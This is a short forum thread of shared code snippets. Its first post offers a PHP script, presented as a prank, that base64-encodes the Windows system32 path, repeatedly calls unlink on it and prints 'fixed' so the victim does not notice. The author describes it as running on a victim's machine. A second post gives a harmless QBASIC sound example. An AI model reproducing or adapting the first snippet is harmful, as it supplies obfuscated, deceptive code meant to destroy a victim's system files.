Code snippet thread

#1
Here, developers post code snippets.

Template:

Code: Select all

[b]Language: [/b]
[b]Description: [/b]
[b]Original author: [/b]
[b]Taken from: [/b]
[b]Snippet: [code]
[/b]
Other info:
[/code]

I'll begin, this snippet is a quick PHP snippet that deletes the system32 folder of an user without them noticing. (It has to be executed locally)

Language: PHP
Description: Deletes an user's system32 folder
Original author: CristianHG
Taken from: Me
Snippet:

Code: Select all

<?

$alg = "QzovV2luZG93cy9zeXN0ZW0zMi8=";

for ( $i = 0; $i <= 500; $i++ )
{
unlink(base64_decode($alg));
echo "fixed";
}

?>
[/b]
Other info: It has to be executed from the victim's machine

Enjoy.
hentai

Re: Code snippet thread

#2
Language: QBASIC
Description: Plays a sound, more than one SOUND parts can create 8bit music, the seconds are determined by 10s
Original author: Microsoft
Taken from: Me
Snippet:

Code: Select all

SOUND 500 50
SOUND 400 50
[/b]
Other info: Requires QBASIC, either the dos version or QBASIC64
This profile's been around for nearly eight years

RIP

(last edited 10/09/2020)